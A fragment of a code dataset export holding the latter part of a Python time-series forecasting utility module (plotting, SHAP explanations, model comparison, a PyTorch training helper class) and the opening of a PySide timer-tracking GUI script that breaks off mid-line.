forecasted_data.iloc[df.shape[0]:].plot().get_figure()\r\n\t\tplt.tight_layout()\r\n\t\tfig.savefig(\"./model_forecast.png\", dpi=150, bbox_inches='tight')\r\n\t\tforecasted_data.to_csv('./model_full_data.csv', encoding='utf-8')\r\n\t\treturn forecasted_data\r\n\r\n\t\r\n\tdef compare_ml_models_and_plot():\r\n\t\t# Install regressormetricgraphplot package from terminal or notebook\r\n\t\t'''\r\n\t\tTerminal: \r\n\t\t$ pip install regressormetricgraphplot\r\n\t\t OR\r\n\t\t$ git clone https://github.com/ajayarunachalam/RegressorMetricGraphPlot\r\n\t\t$ cd RegressorMetricGraphPlot\r\n\t\t$ python setup.py install\r\n\t\tNotebook:\r\n\t\t!git clone https://github.com/ajayarunachalam/RegressorMetricGraphPlot.git\r\n\t\tcd RegressorMetricGraphPlot/\r\n\t\tJust replace the line 'from CompareModels import *' with 'from regressormetricgraphplot import CompareModels' \r\n\t\t'''\r\n\t\t# Now, let us check how machine learning algorithms perform on this dataset in comparison to the build neural network\r\n\t\tfrom regressioncomparemetricplot import CompareModels\r\n\r\n\t\t# Linear Regression \r\n\r\n\t\t# Fitting training set to linear regression model\r\n\t\tlr = LinearRegression(n_jobs=-1)\r\n\t\tlr.fit(X_train, y_train)\r\n\r\n\t\t# Predicting the house price\r\n\t\ty_pred = lr.predict(X_test)\r\n\r\n\t\t# Metrics\r\n\t\tprint(f'R2_nd_RMSE LR MODEL: {CompareModels.R2AndRMSE(y_test=y_test, y_pred=y_pred)}')\r\n\r\n\t\tplot = CompareModels()\r\n\r\n\t\tplot.add(model_name='Linear Regression', y_test=y_test, y_pred=y_pred)\r\n\r\n\t\tplot.show(figsize=(10, 5))\r\n\r\n\t\t# Fitting Random Forest model to the dataset\r\n\t\trfr = RandomForestRegressor(n_estimators=10, random_state=10, n_jobs=-1)\r\n\t\trfr.fit(X_train, y_train)\r\n\r\n\t\t# Predicting the outcome\r\n\t\ty_pred = rfr.predict(X_test)\r\n\r\n\t\tprint(f'R2_nd_RMSE RF MODEL: {CompareModels.R2AndRMSE(y_test=y_test, y_pred=y_pred)}')\r\n\r\n\t\tplot.add('Random Forest', y_test, y_pred)\r\n\r\n\t\tplot.show(figsize=(10, 5))\r\n\r\n\t\txgb = XGBRegressor(n_jobs=4, silent=False, objective='reg:linear',\r\n\t\t\t\t\t max_depth=3, random_state=10, n_estimators=100,\r\n\t\t\t\t\t learning_rate=0.3, verbose=True)\r\n\r\n\t\txgb.fit(X_train, y_train)\r\n\r\n\t\t# Predicting the outcome\r\n\t\ty_pred = xgb.predict(X_test)\r\n\r\n\t\tprint(f'R2_nd_RMSE XGB MODEL: {CompareModels.R2AndRMSE(y_test=y_test, y_pred=y_pred)}')\r\n\r\n\t\tplot.add('XGBoost', y_test, y_pred)\r\n\r\n\t\tplot.show(figsize=(10, 5))\r\n\r\n\tdef build_baseline_model(df, test_ratio, target_col):\r\n\t\tX, y = Helper.predictor_outcome_split(df, target_col)\r\n\t\tX_train, X_test, y_train, y_test = train_test_split(\r\n\t\t\tX, y, test_size=test_ratio, shuffle=False\r\n\t\t)\r\n\t\tmodel = LinearRegression()\r\n\t\tmodel.fit(X_train, y_train)\r\n\t\tprediction = model.predict(X_test)\r\n\r\n\t\tresult = pd.DataFrame(y_test)\r\n\t\tresult[\"prediction\"] = prediction\r\n\t\tresult = result.sort_index()\r\n\r\n\t\treturn result\r\n\r\n\tdef plot_predictions(df_result, df_baseline):\r\n\t\t# Create the plotly figure\r\n\t\tdata = []\r\n\t\tvalue = go.Scatter(\r\n\t\t\tx=df_result.index,\r\n\t\t\ty=df_result.value,\r\n\t\t\tmode=\"lines\",\r\n\t\t\tname=\"actual values\",\r\n\t\t\tmarker=dict(),\r\n\t\t\ttext=df_result.index,\r\n\t\t\tline=dict(color=\"rgba(0,0,0, 0.3)\"),\r\n\t\t)\r\n\t\tdata.append(value)\r\n\r\n\t\tbaseline = go.Scatter(\r\n\t\t\tx=df_baseline.index,\r\n\t\t\ty=df_baseline.prediction,\r\n\t\t\tmode=\"lines\",\r\n\t\t\tline={\"dash\": \"dot\"},\r\n\t\t\tname='linear regression',\r\n\t\t\tmarker=dict(),\r\n\t\t\ttext=df_baseline.index,\r\n\t\t\topacity=0.8,\r\n\t\t)\r\n\t\tdata.append(baseline)\r\n\t\t\r\n\t\tprediction = go.Scatter(\r\n\t\t\tx=df_result.index,\r\n\t\t\ty=df_result.prediction,\r\n\t\t\tmode=\"lines\",\r\n\t\t\tline={\"dash\": \"dot\"},\r\n\t\t\tname='deep model predictions',\r\n\t\t\tmarker=dict(),\r\n\t\t\ttext=df_result.index,\r\n\t\t\topacity=0.8,\r\n\t\t)\r\n\t\tdata.append(prediction)\r\n\t\t\r\n\t\tlayout = dict(\r\n\t\t\ttitle=\"Predictions vs Actual Values for the dataset\",\r\n\t\t\txaxis=dict(title=\"Time\", ticklen=5, zeroline=False),\r\n\t\t\tyaxis=dict(title=\"Value\", ticklen=5, zeroline=False),\r\n\t\t)\r\n\r\n\t\tfig = dict(data=data, layout=layout)\r\n\t\tiplot(fig)\r\n\r\n\t# plot only user provided time-window\r\n\tdef plot_forecast(ff_result, fc):\r\n\t\t# Create the plotly figure\r\n\t\tdata = []\r\n\t\tforecast = go.Scatter(\r\n\t\t\tx=ff_result.index,\r\n\t\t\ty=ff_result.value,\r\n\t\t\tmode=\"lines\",\r\n\t\t\tline={\"dash\": \"dot\"},\r\n\t\t\tname='Forecasted Results',\r\n\t\t\tmarker=dict(),\r\n\t\t\ttext=ff_result.index,\r\n\t\t\topacity=0.8,\r\n\t\t\t\r\n\t\t)\r\n\t\tdata.append(forecast)\r\n\t\t\r\n\t\tlayout = dict(\r\n\t\t\ttitle=\"Forecast for the user provided time period\",\r\n\t\t\txaxis=dict(title=f\"{ff_result.index.name}\", ticklen=5, zeroline=False),\r\n\t\t\tyaxis=dict(title=f\"{fc}\", ticklen=5, zeroline=False),\r\n\t\t)\r\n\r\n\t\tfig = dict(data=data, layout=layout)\r\n\t\tiplot(fig)\r\n\r\n\tdef plot_forecast_complete(ff, fc, FORECAST_PERIOD):\r\n\t\t# Create the plotly figure\r\n\t\tindex = ff.columns.get_loc(fc)\r\n\t\tactual = go.Scatter(\r\n\t\t x=ff.index[:-FORECAST_PERIOD],\r\n\t\t y=ff.iloc[:-FORECAST_PERIOD,index],\r\n\t\t mode = 'markers',\r\n\t\t marker = {\r\n\t\t\t'color': '#FF0000',\r\n\t\t\t'size': 1,\r\n\t\t\t},\r\n\t\t\tline= {\r\n\t\t\t 'width': 2\r\n\t\t\t},\r\n\t\t name = 'Actual'\r\n\t\t)\r\n\r\n\t\tforecast = go.Scatter(\r\n\t\tx=ff.index[-FORECAST_PERIOD:],\r\n\t\t y=ff.iloc[-FORECAST_PERIOD:, index],\r\n\t\t mode = 'markers',\r\n\t\t marker = {\r\n\t\t'color': '#3bbed7',\r\n\t\t'size': 1,\r\n\t\t },\r\n\t\t line = {\r\n\t\t\t'width': 2\r\n\t\t },\r\n\t\t name = 'Forecast',\r\n\t\t)\r\n\r\n\t\tdata = [actual, forecast]\r\n\r\n\t\tlayout = dict(\r\n\t\t\ttitle=\"Forecast vs Historical Values for the dataset\",\r\n\t\t\t\txaxis=dict(title=f\"{ff.index.name}\", ticklen=5, zeroline=False),\r\n\t\t\t\tyaxis=dict(title=f'{fc}', ticklen=5, zeroline=False),\r\n\t\t)\r\n\r\n\t\tfig = dict(data=data, layout=layout)\r\n\t\tiplot(fig)\r\n\r\n\tdef plot_nowcast(ff, fc, FORECAST_PERIOD):\r\n\t\t# Create the plotly figure\r\n\t\tactual = go.Scatter(\r\n\t\t x=ff.index[:-FORECAST_PERIOD],\r\n\t\t y=ff.loc[:-FORECAST_PERIOD,fc],\r\n\t\t mode = 'markers',\r\n\t\t marker = {\r\n\t\t\t'color': '#fffaef',\r\n\t\t\t'size': 3,\r\n\t\t\t'line': {\r\n\t\t\t 'color': '#000000',\r\n\t\t\t 'width': .75\r\n\t\t\t}\r\n\t\t },\r\n\t\t name = 'Actual'\r\n\t\t)\r\n\r\n\t\tnowcast = go.Scatter(\r\n\t\tx=ff.index[-FORECAST_PERIOD:],\r\n\t\t y=ff.loc[-FORECAST_PERIOD:,fc],\r\n\t\t mode = 'lines',\r\n\t\t marker = {\r\n\t\t'color': '#3bbed7'\r\n\t\t },\r\n\t\t line = {\r\n\t\t\t'width': 3\r\n\t\t },\r\n\t\t name = 'Nowcast',\r\n\t\t)\r\n\r\n\t\tdata = [actual, nowcast]\r\n\r\n\t\tlayout = dict(\r\n\t\t\ttitle=\"Nowcast vs Historical Values for the dataset\",\r\n\t\t\t\txaxis=dict(title=f\"{ff.index.name}\", ticklen=5, zeroline=False),\r\n\t\t\t\tyaxis=dict(title=f\"{fc}\", ticklen=5, zeroline=False),\r\n\t\t)\r\n\r\n\t\tfig = dict(data=data, layout=layout)\r\n\t\tiplot(fig)\r\n\r\n\r\n\r\n\tdef explainable_forecast(df, ff, fc, specific_prediction_sample_to_explain:int, input_label_index_value, num_labels:int):\r\n\r\n\t\t\"\"\"\r\n\t\tUnderstand, interpret, and trust the results of the deep learning models at individual/samples level and multiple columns\r\n\t\t\"\"\"\r\n\t\timport shap\r\n\t\timport numpy as np\r\n\t\timport pandas as pd\r\n\t\tfrom keras.models import Sequential\r\n\t\tfrom keras.layers import Dense\r\n\t\timport ipywidgets as widgets\r\n\r\n\t\tdata = pd.concat([df, ff], axis=0)\r\n\t\tdata.rename(columns={\"value\":fc}, inplace=True)\r\n\r\n\t\tX, Y = Helper.predictor_outcome_split(data, fc)\r\n\r\n\t\t# Get the number of inputs and outputs from the dataset\r\n\t\tn_inputs, n_outputs = X.shape[1], Y.shape[1]\r\n\r\n\t\tdef get_model(n_inputs, n_outputs):\r\n\t\t\tmodel_nn = Sequential()\r\n\t\t\tmodel_nn.add(Dense(32, input_dim=n_inputs, kernel_initializer='he_uniform', activation='relu'))\r\n\t\t\tmodel_nn.add(Dense(n_outputs, kernel_initializer='he_uniform'))\r\n\t\t\tmodel_nn.compile(loss='mae', optimizer='adam')\r\n\t\t\treturn model_nn\r\n\r\n\t\tmodel_nn = get_model(n_inputs, n_outputs)\r\n\r\n\t\t# model_nn.fit(X.iloc[10:,:].values, Y, epochs=30)\r\n\r\n\t\t# model_nn.evaluate(x = X.iloc[10:,:].values, y = Y)\r\n\r\n\t\tmodel_nn.fit(X.iloc[:df.shape[0],:].values, Y.iloc[:df.shape[0]], epochs=30)\r\n\r\n\t\tmodel_nn.evaluate(x = X.iloc[:df.shape[0],:].values, y = Y.iloc[:df.shape[0]])\r\n\r\n\t\tXpredictInputData = X.iloc[specific_prediction_sample_to_explain,:] # X[specific_prediction_sample_to_explain,:]\r\n\r\n\t\tif (XpredictInputData.ndim == 1):\r\n\t\t\tXpredictInputData = np.array([XpredictInputData])\r\n\r\n\t\tprint(model_nn.predict(XpredictInputData)) # 0:1\r\n\r\n\t\t'''\r\n\t\tHere we take the Keras model trained above and explain why it makes different predictions on individual samples.\r\n\r\n\t\tSet the explainer using the Kernel Explainer (Model agnostic explainer method form SHAP).\r\n\t\t'''\r\n\t\texplainer = shap.KernelExplainer(model = model_nn.predict, data = X.head(50), link = \"identity\") # data = X[0:50]\r\n\r\n\t\t'''\r\n\t\tGet the Shapley value for a single example.\r\n\t\t'''\r\n\t\t# Set the index of the specific example to explain\r\n\r\n\t\tshap_value_single = explainer.shap_values(X = X.iloc[specific_prediction_sample_to_explain,:], nsamples = 100) # X[specific_prediction_sample_to_explain,:]\r\n\r\n\t\t'''\r\n\t\tDisplay the details of the single example\r\n\t\t'''\r\n\t\tprint(X.iloc[specific_prediction_sample_to_explain,:]) \r\n\t\t'''\r\n\t\tChoose the label/output/target to run individual explanations on:\r\n\r\n\t\tNote: The dropdown menu can easily be replaced by manually setting the index on the label to explain.\r\n\t\t'''\r\n\t\t# Create the list of all labels for the drop down list\r\n\t\t#label_cols = ['window_diff_0', 'window_diff_1', 'window_diff_2', 'window_diff_3', 'window_diff_4', 'window_diff_5', 'window_diff_6']\r\n\r\n\t\t#label_cols = ['window_diff_'+str(i) for i in range(num_labels)]\r\n\t\tlabel_cols = [f'{fc}_'+str(i) for i in range(num_labels)]\r\n\t\t#print(label_cols)\r\n\t\tdf_labels = pd.DataFrame(data = Y, columns = label_cols)\r\n\t\t#df_labels.to_csv('./y_labels.csv')\r\n\t\tlist_of_labels = df_labels.columns.to_list() # Y.columns.to_list()\r\n\r\n\t\t# Create a list of tuples so that the index of the label is what is returned\r\n\t\ttuple_of_labels = list(zip(list_of_labels, range(len(list_of_labels))))\r\n\r\n\t\t# Create a widget for the labels and then display the widget\r\n\t\tcurrent_label = widgets.Dropdown(options=tuple_of_labels,\r\n\t\t\t\t\t\t\t\t\t value=input_label_index_value,\r\n\t\t\t\t\t\t\t\t\t description='Select Label:'\r\n\t\t\t\t\t\t\t\t\t )\r\n\r\n\t\t# Display the dropdown list (Note: access index value with 'current_label.value')\r\n\t\tprint(current_label)\r\n\t\t#Dropdown(description='Select Label:', options=(('labels_01', 0), ('labels_02', 1), ('labels_03', 2), etc\r\n\r\n\t\t'''\r\n\t\tPlot the force plot for a single example and a single label/output/target\r\n\t\t'''\r\n\t\tprint(f'Current label Shown: {list_of_labels[current_label.value]}')\r\n\r\n\t\t# print the JS visualization code to the notebook\r\n\t\tshap.initjs()\r\n\r\n\t\tshap.force_plot(base_value = explainer.expected_value[current_label.value],\r\n\t\t\t\t\t\tshap_values = shap_value_single[current_label.value], \r\n\t\t\t\t\t\tfeatures = X.iloc[specific_prediction_sample_to_explain,:] # X_idx:X_idx+1\r\n\t\t\t\t\t\t)\r\n\r\n\t\t'''\r\n\t\tCreate the summary plot for a specific output/label/target.\r\n\t\t'''\r\n\t\t# Note: We are limiting to the first 50 training examples since it takes time to calculate the full number of sampels\r\n\t\tshap_values = explainer.shap_values(X = X.iloc[0:50,:], nsamples = 100) # X[0:50,:]\r\n\r\n\t\tprint(f'Current Label Shown: {list_of_labels[current_label.value]}\\n')\r\n\r\n\t\t# print the JS visualization code to the notebook\r\n\t\tshap.initjs()\r\n\r\n\t\tshap.summary_plot(shap_values = shap_values[current_label.value],\r\n\t\t\t\t features = X.iloc[0:50,:],\r\n\t\t\t\t plot_type=\"bar\", # X[0:50,:]\r\n\t\t\t\t show=False\r\n\t\t\t\t )\r\n\r\n\t\tplt.savefig('./forecast_model_summary_plot.png', dpi=150, bbox_inches='tight')\r\n\r\n\t\t'''\r\n\t\tForce Plot for the first 50 individual examples.\r\n\t\t'''\r\n\t\tprint(f'Current Label Shown: {list_of_labels[current_label.value]}\\n')\r\n\r\n\t\t# print the JS visualization code to the notebook\r\n\t\tshap.initjs()\r\n\r\n\t\tshap.force_plot(base_value = explainer.expected_value[current_label.value],\r\n\t\t\t\t\t\tshap_values = shap_values[current_label.value], \r\n\t\t\t\t\t\tfeatures = X.iloc[0:50,:] # X[0:50,:]\r\n\t\t\t\t\t\t)\r\n\t\t\r\n\r\nclass Optimization:\r\n\r\n\t\"\"\"Optimization is a helper class that allows training, validation, prediction.\r\n\r\n\tOptimization is a helper class that takes model, loss function, optimizer function\r\n\tlearning scheduler (optional), early stopping (optional) as inputs. In return, it\r\n\tprovides a framework to train and validate the models, and to predict future values\r\n\tbased on the models.\r\n\r\n\tAttributes:\r\n\t\tmodel (RNNModel, LSTMModel, GRUModel): Model class created for the type of RNN\r\n\t\tloss_fn (torch.nn.modules.Loss): Loss function to calculate the losses\r\n\t\toptimizer (torch.optim.Optimizer): Optimizer function to optimize the loss function\r\n\t\ttrain_losses (list[float]): The loss values from the training\r\n\t\tval_losses (list[float]): The loss values from the validation\r\n\t\tlast_epoch (int): The number of epochs that the models is trained\r\n\t\"\"\"\r\n\tdef __init__(self, device, model, loss_fn, optimizer):\r\n\r\n\t\t\"\"\"\r\n\t\tArgs:\r\n\t\t\tmodel (RNNModel, LSTMModel, GRUModel): Model class created for the type of RNN\r\n\t\t\tloss_fn (torch.nn.modules.Loss): Loss function to calculate the losses\r\n\t\t\toptimizer (torch.optim.Optimizer): Optimizer function to optimize the loss function\r\n\t\t\"\"\"\r\n\t\tself.device = device\r\n\t\tself.model = model\r\n\t\tself.loss_fn = loss_fn\r\n\t\tself.optimizer = optimizer\r\n\t\tself.train_losses = []\r\n\t\tself.val_losses = []\r\n\t\t\r\n\r\n\t\r\n\tdef train_step(self, x, y):\r\n\t\t\"\"\"The method train_step completes one step of training.\r\n\r\n\t\tGiven the features (x) and the target values (y) tensors, the method completes\r\n\t\tone step of the training. First, it activates the train mode to enable back prop.\r\n\t\tAfter generating predicted values (yhat) by doing forward propagation, it calculates\r\n\t\tthe losses by using the loss function. Then, it computes the gradients by doing\r\n\t\tback propagation and updates the weights by calling step() function.\r\n\r\n\t\tArgs:\r\n\t\t\tx (torch.Tensor): Tensor for features to train one step\r\n\t\t\ty (torch.Tensor): Tensor for target values to calculate losses\r\n\r\n\t\t\"\"\"\r\n\t\t# Sets model to train mode\r\n\t\tself.model.train().to(self.device)\r\n\r\n\t\t# Makes predictions\r\n\t\tyhat = self.model(x).to(self.device)\r\n\r\n\t\t# Computes loss\r\n\t\tloss = self.loss_fn(y, yhat)\r\n\r\n\t\t# Computes gradients\r\n\t\tloss.backward()\r\n\r\n\t\t# Updates parameters and zeroes gradients\r\n\t\tself.optimizer.step()\r\n\t\tself.optimizer.zero_grad()\r\n\r\n\t\t# Returns the loss\r\n\t\treturn loss.item()\r\n\r\n\tdef train(self, train_loader, val_loader, batch_size, n_epochs, n_features):\r\n\t\t\"\"\"The method train performs the model training\r\n\r\n\t\tThe method takes DataLoaders for training and validation datasets, batch size for\r\n\t\tmini-batch training, number of epochs to train, and number of features as inputs.\r\n\t\tThen, it carries out the training by iteratively calling the method train_step for\r\n\t\tn_epochs times. If early stopping is enabled, then it checks the stopping condition\r\n\t\tto decide whether the training needs to halt before n_epochs steps. Finally, it saves\r\n\t\tthe model in a designated file path.\r\n\r\n\t\tArgs:\r\n\t\t\ttrain_loader (torch.utils.data.DataLoader): DataLoader that stores training data\r\n\t\t\tval_loader (torch.utils.data.DataLoader): DataLoader that stores validation data\r\n\t\t\tbatch_size (int): Batch size for mini-batch training\r\n\t\t\tn_epochs (int): Number of epochs, i.e., train steps, to train\r\n\t\t\tn_features (int): Number of feature columns\r\n\r\n\t\t\"\"\"\r\n\t\tos.makedirs('./model_path/', exist_ok=True)\r\n\t\tpath = \"./model_path/\"\r\n\t\t#os.path.join(path,“filename.pth”)\r\n\t\t#model_path = f'{path}deployed_model/{self.model}_{datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")}'\r\n\t\t#model_path = f'{path}deployed_model/_{datetime.now().strftime(\"%Y-%m-%d_%H:%M:%S\")}'\r\n\r\n\t\tfor epoch in range(1, n_epochs + 1):\r\n\t\t\tbatch_losses = []\r\n\t\t\tfor x_batch, y_batch in train_loader:\r\n\t\t\t\tx_batch = x_batch.view([batch_size, -1, n_features]).to(self.device)\r\n\t\t\t\ty_batch = y_batch.to(self.device)\r\n\t\t\t\tloss = self.train_step(x_batch, y_batch)\r\n\t\t\t\tbatch_losses.append(loss)\r\n\t\t\ttraining_loss = np.mean(batch_losses)\r\n\t\t\tself.train_losses.append(training_loss)\r\n\r\n\t\t\twith torch.no_grad():\r\n\t\t\t\tbatch_val_losses = []\r\n\t\t\t\tfor x_val, y_val in val_loader:\r\n\t\t\t\t\tx_val = x_val.view([batch_size, -1, n_features]).to(self.device)\r\n\t\t\t\t\ty_val = y_val.to(self.device)\r\n\t\t\t\t\tself.model.eval()\r\n\t\t\t\t\tyhat = self.model(x_val)\r\n\t\t\t\t\tval_loss = self.loss_fn(y_val, yhat).item()\r\n\t\t\t\t\tbatch_val_losses.append(val_loss)\r\n\t\t\t\tvalidation_loss = np.mean(batch_val_losses)\r\n\t\t\t\tself.val_losses.append(validation_loss)\r\n\r\n\t\t\tif (epoch <= n_epochs) | (epoch % 50 == 0):\r\n\t\t\t\tprint(\r\n\t\t\t\t\tf\"[{epoch}/{n_epochs}] Training loss: {training_loss:.4f}\\t Validation loss: {validation_loss:.4f}\"\r\n\t\t\t\t)\r\n\r\n\t\t#torch.save(self.model.state_dict(), model_path)\r\n\r\n\r\n\tdef evaluate(self, test_loader, batch_size=1, n_features=1, ):\r\n\t\t\"\"\"The method evaluate performs the model evaluation\r\n\r\n\t\tThe method takes DataLoaders for the test dataset, batch size for mini-batch testing,\r\n\t\tand number of features as inputs. Similar to the model validation, it iteratively\r\n\t\tpredicts the target values and calculates losses. Then, it returns two lists that\r\n\t\thold the predictions and the actual values.\r\n\r\n\t\tNote:\r\n\t\t\tThis method assumes that the prediction from the previous step is available at\r\n\t\t\tthe time of the prediction, and only does one-step prediction into the future.\r\n\r\n\t\tArgs:\r\n\t\t\ttest_loader (torch.utils.data.DataLoader): DataLoader that stores test data\r\n\t\t\tbatch_size (int): Batch size for mini-batch training\r\n\t\t\tn_features (int): Number of feature columns\r\n\r\n\t\tReturns:\r\n\t\t\tlist[float]: The values predicted by the model\r\n\t\t\tlist[float]: The actual values in the test set.\r\n\r\n\t\t\"\"\"\r\n\t\twith torch.no_grad():\r\n\t\t\tpredictions = []\r\n\t\t\tvalues = []\r\n\t\t\tfor x_test, y_test in test_loader:\r\n\t\t\t\tx_test = x_test.view([batch_size, -1, n_features]).to(self.device)\r\n\t\t\t\ty_test = y_test.to(self.device)\r\n\t\t\t\tself.model.eval()\r\n\t\t\t\tyhat = self.model(x_test)\r\n\t\t\t\t#predictions.append(yhat.to(self.device).detach().numpy())\r\n\t\t\t\tpredictions.append(yhat.cpu().detach().numpy())\r\n\t\t\t\t#values.append(y_test.to(self.device).detach().numpy())\r\n\t\t\t\tvalues.append(y_test.cpu().detach().numpy())\r\n\r\n\t\treturn predictions, values\r\n\r\n\tdef predict(self, forecast_loader, batch_size=1, n_features=1, ):\r\n\t\t\"\"\"The method performs the model forecasting\r\n\r\n\t\tThe method takes DataLoaders for the forecast dataset, batch size for mini-batch testing,\r\n\t\tand number of features as inputs. Similar to the model validation, it iteratively\r\n\t\tpredicts the target values and calculates losses. Then, it returns two lists that\r\n\t\thold the predictions and the actual values.\r\n\r\n\t\tNote:\r\n\t\t\tThis method assumes that the prediction from the previous step is available at\r\n\t\t\tthe time of the prediction, and only does one-step prediction into the future.\r\n\r\n\t\tArgs:\r\n\t\t\tforecast_loader (torch.utils.data.DataLoader): DataLoader that stores future forecast data\r\n\t\t\tbatch_size (int): Batch size for mini-batch training\r\n\t\t\tn_features (int): Number of feature columns\r\n\r\n\t\tReturns:\r\n\t\t\tlist[float]: The values predicted by the model\r\n\r\n\t\t\"\"\"\r\n\t\twith torch.no_grad():\r\n\t\t\tpredictions = []\r\n\t\t\tfor x in forecast_loader:\r\n\t\t\t\tx = x.view([batch_size, -1, n_features]).to(self.device)\r\n\t\t\t\tself.model.eval()\r\n\t\t\t\tyhat = self.model(x)\r\n\t\t\t\t#predictions.append(yhat.to(self.device).detach().numpy())\r\n\t\t\t\tpredictions.append(yhat.cpu().detach().numpy())\r\n\t\t\t\t\r\n\t\treturn predictions\r\n\r\n\t# def predict(self, test_loader, batch_size, n_features=1,):\r\n\t# \t\"\"\"\r\n\t# \tWindow-step prediction into the future \r\n\t# \t\"\"\"\r\n\t# \t#self.model.eval()\r\n\t# \t#for i in range(future_prediction):\r\n\r\n\t# \twith torch.no_grad():\r\n\r\n\t# \t\tpredictions_forecast_window = list()\r\n\t# \t\tfor i in range(future_prediction):\r\n\r\n\r\n\t# \t# \tfor x_test, y_test in test_loader:\r\n\t# \t# \t\tx_test = x_test.view([batch_size, -1, n_features]).to(self.device)\r\n\t# \t# \t\tself.model.eval()\r\n\t# \t# \t\tyhat = self.model(x_test)\r\n\t# \t# \t\tpredictions_forecast_window.append(yhat.to(self.device).detach().numpy())\r\n\t# \t# return predictions_forecast_window\r\n\r\n\r\n\tdef forecast_torch(self, full_loader, n_steps:int, batch_size=1, n_features=1,):\r\n\r\n\t\tpredictions = []\r\n\r\n\t\tfor x, y in full_loader:\r\n\r\n\t\t\tx = torch.roll(x, shifts=1, dims=2)\r\n\t\t\tx[..., -1, 0] = torch.Tensor(np.array(y)).item(0)\r\n\t\t\twith torch.no_grad():\r\n\r\n\t\t\t\tself.model.eval()\r\n\t\t\t\tfor _ in range(n_steps):\r\n\t\t\t\t\tx = x.view([batch_size, -1, n_features]).to(device)\r\n\t\t\t\t\tyhat = self.model(x)\r\n\t\t\t\t\tyhat = yhat.to(device).detach().numpy()\r\n\t\t\t\t\tx = torch.roll(x, shifts=1, dims=2)\r\n\t\t\t\t\tx[..., -1, 0] = yhat.item(0)\r\n\t\t\t\t\tpredictions.append(yhat)\r\n\r\n\t\treturn predictions\r\n\r\n\r\n\tdef forecast(self, full_loader, n_steps:int, batch_size=1, n_features=1,):\r\n\t\tpredictions = []\r\n\t\tvalues = []\r\n\t\tfor x, y in full_loader:\r\n\t\t\tfor _ in range(n_steps):\r\n\t\t\t\tx = x.view([batch_size, -1, n_features]).to(self.device)\r\n\t\t\t\ty = y.to(self.device)\r\n\t\t\t\tself.model.eval()\r\n\t\t\t\tyhat = self.model(x)\r\n\t\t\t\t#yhat = yhat.to(self.device).detach().numpy()\r\n\t\t\t\tx = torch.roll(x, shifts=1, dims=2)\r\n\t\t\t\tx[..., -1, 0] = yhat.item() #0\r\n\t\t\t\tpredictions.append(yhat.to(self.device).detach().numpy())\r\n\t\t\t\tvalues.append(y.to(self.device).detach().numpy())\r\n\r\n\t\treturn predictions, values\r\n\r\n\r\n\tdef plot_losses(self):\r\n\t\t\"\"\"The method plots the calculated loss values for training and validation\r\n\t\t\"\"\"\r\n\t\tplt.plot(self.train_losses, label=\"Training loss\")\r\n\t\tplt.plot(self.val_losses, label=\"Validation loss\")\r\n\t\tplt.legend()\r\n\t\tplt.title(\"Losses\")\r\n\t\tplt.show()\r\n\t\tplt.close()\r\n\r\n","sub_path":"deep_xf/utility.py","file_name":"utility.py","file_ext":"py","file_size_in_byte":35791,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"162912388","text":"# System imports\nfrom os import path\nfrom datetime import datetime\nimport sys\n\n# PySide imports\nfrom PySide.QtCore import *\nfrom PySide.QtGui import *\n\n# QTimer imports\nfrom qtimer.util import format_time\nfrom qtimer.model import *\nfrom qtimer.env import *\n\nimport qtimer.core as qtimer\n\n# UI Imports\nfrom qtimerui.main_window import Ui_mainwindow\n\nVERSION = '0.1'\n\n\nclass QTimerMainWindow(QMainWindow):\n\n\tdef __init__(self, backend, parent=None):\n\t\tsuper().__init__(parent)\n\t\tself.backend = backend\n\n\t\tself.ui = Ui_mainwindow()\n\t\tself.ui.setupUi(self)\n\t\tself.setWindowTitle('qTimer v%s' % VERSION)\n\n\t\tsession = self.backend.session\n\n\t\t# Setup initial projects\n\t\tself.backend.syncConditionally()\n\t\tfor project in session.query(Project):\n\t\t\tparent = QTreeWidgetItem([project.name])\n\t\t\tparent.project = project\n\t\t\tself.ui.projects.addTopLevelItem(parent)\n\t\t\tfor ticket in project.tickets:\n\t\t\t\tchild = QTreeWidgetItem([ticket.name])\n\t\t\t\tchild.ticket = ticket\n\t\t\t\tparent.addChild(child)\n\n\t\tfor timer in session.query(Timer):\n\t\t\titem = QTreeWidgetItem([\n\t\t\t\ttimer.status,\n\t\t\t\ttimer.name,\n\t\t\t\tformat_time(timer.start),\n\t\t\t\tstr(self.backend.roundTime(timer.duration)),\n\t\t\t\tstr(timer.posted)\n\t\t\t])\n\t\t\titem.timer = timer\n\t\t\tself.ui.timers.addTopLevelItem(item)\n\n\t\tself.ui.date_from.setDate(QDate.currentDate())\n\t\tself.ui.date_to.setDate(QDate.currentDate())\n\n\t\tself.actionMenu = QMenu()\n\t\tself.actionMenu.triggered.connect(self.onActionClicked)\n\t\tself.actionMenu.addAction('Start')\n\t\tself.actionMenu.addAction('Stop')\n\t\tself.actionMenu.addAction('Post')\n\n\t\tself.ui.actions.setMenu(self.actionMenu)\n\n\t\tself.readSettings()\n\n\t\tself.dateFromChanged = lambda date: self.onDateChanged(self.ui.date_from_label)\n\t\tself.dateToChanged = lambda date: self.onDateChanged(self.ui.date_to_label)\n\n\t\tself.ui.projects.itemClicked.connect(self.onFilterClicked)\n\t\tself.ui.date_from.dateChanged.connect(self.dateFromChanged)\n\t\tself.ui.date_to.dateChanged.connect(self.dateToChanged)\n\n\t\tself.durationTimer = QTimer(self)\n\t\tself.durationTimer.timeout.connect(self.onRefreshDurations)\n\t\tself.durationTimer.start(int(self.backend.config.timers.rounding) * 1000)\n\n\tdef onDateChanged(self, dateEdit):\n\t\tif dateEdit.checkState() == Qt.Unchecked:\n\t\t\tdateEdit.setCheckState(Qt.Checked)\n\n\tdef writeSettings(self):\n\t\tsettingsPath = path.join(DATA_DIR, 'qtimer.gui.ini')\n\t\tsettings = QSettings(settingsPath, QSettings.IniFormat)\n\n\t\tsettings.beginGroup('MainWindow')\n\t\tsettings.setValue('size', self.size())\n\t\tsettings.setValue('pos', self.pos())\n\n\t\tsettings.setValue('timersState', self.ui.timers.header().saveState())\n\t\tsettings.setValue('splitterState', self.ui.splitter.saveState())\n\t\tsettings.endGroup()\n\n\tdef readSettings(self):\n\t\tsettingsPath = path.join(DATA_DIR, 'qtimer.gui.ini')\n\t\tsettings = QSettings(settingsPath, QSettings.IniFormat)\n\n\t\tsettings.beginGroup('MainWindow')\n\t\tself.resize(settings.value('size', QSize(420, 460)))\n\t\tself.move(settings.value('pos', QPoint(200, 200)))\n\n\t\tsplitterState = settings.value('splitterState', None)\n\t\tif 